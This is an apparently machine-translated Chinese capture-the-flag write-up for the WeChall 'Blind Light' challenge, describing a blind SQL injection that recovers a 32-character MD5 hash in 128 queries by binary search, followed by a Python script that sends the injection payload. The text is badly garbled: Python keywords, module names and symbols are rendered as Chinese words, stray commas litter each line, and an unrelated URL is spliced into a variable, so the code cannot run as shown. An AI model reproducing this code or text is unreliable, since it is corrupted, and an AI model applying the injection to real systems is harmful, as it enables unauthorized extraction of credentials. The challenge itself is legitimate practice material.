那样强烈的光

  

题目提示:

,,,, 1。你的任务是提取md5密码散列数据库。

,,,,需要获取数据库中的密码信息,而密码是经过md5加密的。

,,, 2。你的极限这种盲目的sql注入128查询。

,,,,最多可以注入128次,通过查看源代码可以看到超过了就会重新生成密码。

,,, 3。可以查看部分关键源代码

query 美元;=,“SELECT  1,得到(SELECT  password 得到blight  WHERE  sessid=$ sessid), b  WHERE 密码=美元密码”,

,,,,通过源代码可以看到存在注入漏洞,但是只能进行是或否的判断。

hash 美元;=,GWF_Random: randomKey(32岁,ABCDEF0123456789);

,,,,密码是随机生成的32位字符串,为大写f, 0 - 9。


解题:

,,,,通过二叉树法对32位密码的每一位进行判断,四次可以得到一位的值,32 * 4=128,正好128次注入可以得到密码,Python脚本如下:

#,- *安康;编码:,utf-8  - *安康;      import  urllib2   import  urllib   import  cookielib   import 字符串   import 再保险   import 饼干      毫升=,(“0”,“1”,“2”,“3”,“4”,“5”,“6”,“7”,“8”,“9”,“一个”,,“B”,“C”,“D”,“E”,,“F”);      #,设置一个cookie处理器   时间=cj  cookielib.CookieJar ();   时间=opener  urllib2.build_opener (urllib2.HTTPCookieProcessor (cj));   urllib2.install_opener(刀);      for  lindex 拷贝范围(32):   ,,,xj=, 0;   ,,,xvalue=https://www.yisu.com/zixun/16;   sindex的范围(4):   如果xj> 0:   xvalue=xvalue + 16/(2 * * (sindex + 1));   其他:   xvalue=xvalue - 16/(2 * * (sindex + 1));   #第二次做的url请求,cookiejar将自动处理cookie   loginBaiduUrl=" http://www.wechall.net/challenge/blind_light/index.php ";   ,,,,,,,strinject =,‘1’,或ascii (substr(密码,% d, 1))在% d  #”, % (lindex + 1,奥德(ml (xvalue-1)));   ,,,,,,,# print  strinject;   ,,,,,,,para =, {   ,,,,,,,,,,,“注入”,,:,strinject,   ,,,,,,,,,,,“注入”,,:,“注入”,   ,,,,,,,,,,,};   ,,,,,,,postData =, urllib.urlencode (para);   ,,,,,,,req =, urllib2.Request (postData loginBaiduUrl也);   ,,,,,,,req.add_header(“用户代理”,“Mozilla/5.0, (Windows  NT  6.1;,房车:40.0),壁虎/20100101,Firefox/40.0”);   ,,,,,,,req.add_header(“内容类型”,“应用程序/x-www-form-urlencoded”);   ,,,,,,,req.add_header(“饼干”,“WC=8624571 - 16186 - h8nkqbmcengtesn4”);   ,,,,,,,req.add_header(“推荐人”,“http://www.wechall.net/challenge/blind_light/index.php”);   ,,,,,,,req.add_header(“连接”,“关闭”);      ,,,,,,,resp =, urllib2.urlopen(要求的);   ,,,,,,,respInfo =, resp.info ();      ,,,,,,,#,通过正则匹配抓到需要统计的字符串   ,,,,,,,content =, resp.read ()   ,,,,,,,check_text =, re.findall(’(尝试[s \ \ !] {1,2}) & lt;/li>”,内容,re.S) [0]      ,,,,,,# print  check_text      ,,,,,,,if  check_text==俺⑹?”:   ,,,,,,,,,,,xj=0;   ,,,,,,,其他的:   ,,,,,,,,,,,xj=1;   ,,,if  xj==0:   ,,,,,,,print 毫升(xvalue-1);   ,,,:   ,,,,,,,print 毫升(xvalue);


那样强烈的光